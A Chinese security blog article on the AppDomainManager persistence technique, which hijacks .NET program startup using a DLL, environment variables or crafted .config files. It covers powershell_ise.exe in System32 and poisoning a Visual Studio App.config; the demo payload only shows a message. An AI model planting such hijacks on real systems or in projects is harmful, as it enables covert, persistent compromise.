AppDomainManager后门的实现思路

本文讲的是AppDomainManager后门的实现思路


0x00 前言

从Casey Smith@subTee学到的一个技巧:针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。 
如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制。

0x01 简介

本文将要介绍以下内容:

劫持自己开发的.Net程序

劫持系统.Net程序powershell_ise.exe

一种针对Visual Studio的利用思路

0x02 相关概念

CLR:

全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行:

  • 在CLR监视之下运行的程序属于“托管的”(managed)代码
  • 不在CLR之下、直接在裸机上运行的应用或者组件属于“非托管的”(unmanaged)的代码

对于在CLR监视之下的程序,程序启动的初始化过程可参考如下链接:

http://mattwarren.org/2017/02/07/The-68-things-the-CLR-does-before-executing-a-single-line-of-your-code/

值得注意的地方:

如果能从程序启动的初始化过程中找到一个可供利用的位置,在程序启动之前加载我们自己的代码,那么就可以“滥用”CLR的功能,实现对程序的劫持

更理想的情况下:

如果可被劫持的程序是一个系统常用程序,随开机自启动,那么,这个方法就能作为一个持续性后门

下面介绍Casey Smith@subTee分享的后门思路:AppDomainManager

0x03 劫持自己开发的.Net程序

注:

代码引用自:http://subt0x10.blogspot.com/2017/06/attacking-clr-appdomainmanager-injection.html

1、编写示例程序

使用Visual Studio,选择c#开发环境,新建控制台应用程序,工程名:program,代码如下:

using System;

public class Program
{
    public static void Main()
    {
        Console.WriteLine("Inside the App");
    }
}

编译生成program.exe

程序运行如下图

2、编写payload Dll

选择c#开发环境,新建类库,工程名:DomainManager,代码如下:

using System;

namespace DomainManager
{
   public class InjectedDomainManager : AppDomainManager
   {
       public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
       {
           base.InitializeNewDomain(appDomainInfo);
           Console.WriteLine("Blah From AppMgr");
       }
   }
}

编译生成DomainManager.dll

3、设置AppDomainManager劫持程序启动

将DomainManager.dll放于同级目录

方法1:

cmd设置环境变量:

set APPDOMAIN_MANAGER_ASM=DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

set APPDOMAIN_MANAGER_TYPE=DomainManager.InjectedDomainManager

执行program.exe,通过查看回显,发现DomainManager.dll先于program.exe执行

成功实现劫持,完整操作如下图

注:

注意比较执行顺序

通过cmd设置环境变量的方法只会作用于当前cmd,不够通用

方法2:

更加通用的方法:配置config文件

新建program.exe.config,内容如下:

<?xml version="1.0" encoding="utf-8"?><configuration>
 <startup>
   <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/>
 </startup>
   <runtime>
     <appDomainManagerType value="DomainManager.InjectedDomainManager" />
     <appDomainManagerAssembly
        value="DomainManager, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
   </runtime></configuration>

注:

config文件命名格式:exe+.config

成功实现劫持,完整操作如下图

0x04 劫持系统.Net程序powershell_ise.exe

接下来,需要找到可供利用的系统.Net程序,尝试实现持久性后门

这里选取powershell_ise.exe作为演示

注:

powershell_ise.exe:全称Windows PowerShell Integrated Scripting Environment(集成脚本环境)

图形界面,主要用于编写和调试powershell脚本

操作界面如下图

为了便于演示,我们需要修改工程DomainManager,使其在运行时弹框

1、添加引用

工程-右键-添加引用,选择System.Windows.Forms

如下图

代码修改如下:

using System;using System.Windows.Forms; namespace DomainManager
{
   public class InjectedDomainManager : AppDomainManager
   {
       public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
       {
           base.InitializeNewDomain(appDomainInfo);
           Console.WriteLine("Blah From AppMgr");
           MessageBox.Show("1");
       }
   }
}

重新编译生成DomainManager.dll

2、测试

劫持program.exe成功,如下图

劫持powershell_ise.exe:

(1) 测试test目录

将powershell_ise.exe复制到c:test

在同级目录新建powershell_ise.exe.config,config文件可作适当精简,精简后的内容如下:

<?xml version="1.0"?><configuration>
 <startup>
   <supportedRuntime version="v4.0" />
 </startup>
   <runtime>
     <appDomainManagerType value="DomainManager.InjectedDomainManager" />
     <appDomainManagerAssembly value="DomainManager" />
   </runtime></configuration>

c:test目录下启动powershell_ise.exe

成功劫持powershell_ise.exe

(2)测试powershell_ise.exe默认目录

路径如下:

C:WindowsSystem32WindowsPowerShellv1.0

需要管理员权限,在默认目录创建劫持文件DomainManager.dll和powershell_ise.exe.config

编译任意powershell脚本,默认启动powershell_ise.exe,成功劫持

完整操作如下图

0x05 一种针对Visual Studio的利用思路

对于Visual Studio的c#工程,在工程目录下默认存在文件App.config,内容如下:

<?xml version="1.0" encoding="utf-8" ?><configuration>
   <startup> 
       <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
   </startup></configuration>

如果对其修改,添加劫持功能,那么在编译程序时,也会同步修改bin目录下默认生成的config文件

App.config修改如下:

<?xml version="1.0" encoding="utf-8" ?><configuration>
   <startup> 
       <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
   </startup>
   <runtime>
     <appDomainManagerType value="DomainManager.InjectedDomainManager" />
     <appDomainManagerAssembly value="DomainManager" />
   </runtime></configuration>

编译程序,bin目录下的config文件也被修改,如下图

如果在bin目录也放置DomainManager.dll,那么在程序启动时会被劫持,如下图

0x06 小结

本文介绍了一种通过修改AppDomainManager实现的被动后门触发机制,分析了利用思路,站在防御者的角度,只需要留意.Net程序同级目录下的config文件就好。

原文发布时间为:2017年6月18日

本文作者:3gstudent 

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-10-22 23:29:55

AppDomainManager后门的实现思路的相关文章

Office后门的实现思路

本文讲的是Office后门的实现思路, 0x00 前言 对于Windows平台,Microsoft Office的普及率很高.站在攻击者的角度,通常会选择在Office软件中植入后门. 我在一篇博客上看到了Office后门的多种利用方法,我对其进行了研究测试,挑选其中较为通用.隐蔽的方式,编写POC脚本实现自动利用. 0x01 简介 本文将要介绍以下内容: · 针对Word.Excel.PowerPoint的四种后门利用方法 · 编写Powershell脚本实现自动利用 · 比较优缺点,分析防御

COM Object hijacking后门的实现思路——劫持CAccPropServicesClass和MMDeviceEnumerator

本文讲的是COM Object hijacking后门的实现思路--劫持CAccPropServicesClass和MMDeviceEnumerator,在之前的文章<Use CLR to maintain persistence>介绍了通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门.美中不足的是通过WMI添加环境变量需要重启系统.  本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限. 注: 本文介绍的方法曾被木马COMpfun使用

COM Object hijacking后门的实现思路——劫持explorer.exe

本文讲的是COM Object hijacking后门的实现思路--劫持explorer.exe,在之前的文章介绍了两种利用COM对象劫持实现的后门,利用思路有一些区别: 第一种,通过CLR劫持.Net程序 正常CLR的用法: 设置注册表键值HKEY_CURRENT_USERSoftwareClassesCLSID cmd下输入: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

Waitfor.exe后门的实现思路

本文讲的是Waitfor.exe后门的实现思路, 0x00 前言 从Casey Smith‏@subTee的Twitter上获得的一个思路,利用Waitfor.exe有可能实现一种后门机制.  于是我对其做了进一步研究,并且使用Powershell写了一个后门利用的POC.  本文将要介绍Waitfor.exe在渗透测试中的利用技巧,并且分享开发POC的思路和细节. 完整POC下载地址如下: https://github.com/3gstudent/Waitfor-Persistence 0x0

64位系统下的Office后门利用

本文讲的是64位系统下的Office后门利用, 0x00 前言 在之前的文章<Office后门的实现思路>介绍了在Office软件中植入后门的常用方法,但并不全面,缺少64位系统的测试.而对于64位操作系统,支持32位和64位两个版本的office软件,不同office版本的利用方法是否不同呢?本文将要给出答案. 0x01 简介 本文将要介绍如下内容: · 64位系统安装64位Office软件的利用方法 · 64位系统安装32位Office软件的利用方法 · 根据测试结果优化POC 0x02

Logon Scripts的后门实现思路

本文讲的是Logon Scripts的后门实现思路,依旧是对后门利用方法做介绍,本次介绍的是使用Logon Scripts的方法.然而我在研究过程中发现了一个特别的用法,脚本优先于杀毒软件执行,能够绕过杀毒软件对敏感操作的拦截,本文将要具体介绍这个技巧. 0x01 简介 · Logon Scripts用法 · 绕过360对wmi调用的拦截 · 特别用法 0x02 Logon Scripts用法 思路来自于Adam@Hexacorn,地址如下: http://www.hexacorn.com/bl

利用CLR实现一种无需管理员权限的后门

本文讲的是利用CLR实现一种无需管理员权限的后门,在之前的文章<Use AppDomainManager to maintain persistence>介绍了通过AppDomainManager实现的一种被动后门触发机制,演示了如何劫持系统.Net程序powershell_ise.exe,但前提是需要获得管理员权限.  这一次将更进一步,介绍一种无需管理员权限的后门,并能够劫持所有.Net程序. 0x01 简介 本文将要介绍以下内容: · CLR的使用 · 后门开发思路 · POC编写 ·

那些强悍的PHP一句话后门

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦. 强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  <html><head>

撞库之殇–是时候改变下安全思路了!

即将过去的2016年注定成为中国信息安全发展史上最具里程碑意义的一年,千呼万唤的<网络安全法>正式出台,终于从法律层面向伸向个人信息的黑手们亮剑了!近年来,层出不穷的信息泄露事件,日益猖獗信息买卖的到了令人发指的地步.仅在2016年,数据量高达数千万条以上的泄密事件就有10多起之多,在不知不觉中,用户名.密码.邮箱地址.QQ号.电话号码.身份证等信息就成了黑市交易获利的商品. 数据下载.明码标价,黑市交易已然风生云起 攻击泄漏.倒卖获利,完整的黑色产业链已形成 罪魁祸首–又是Struts 2安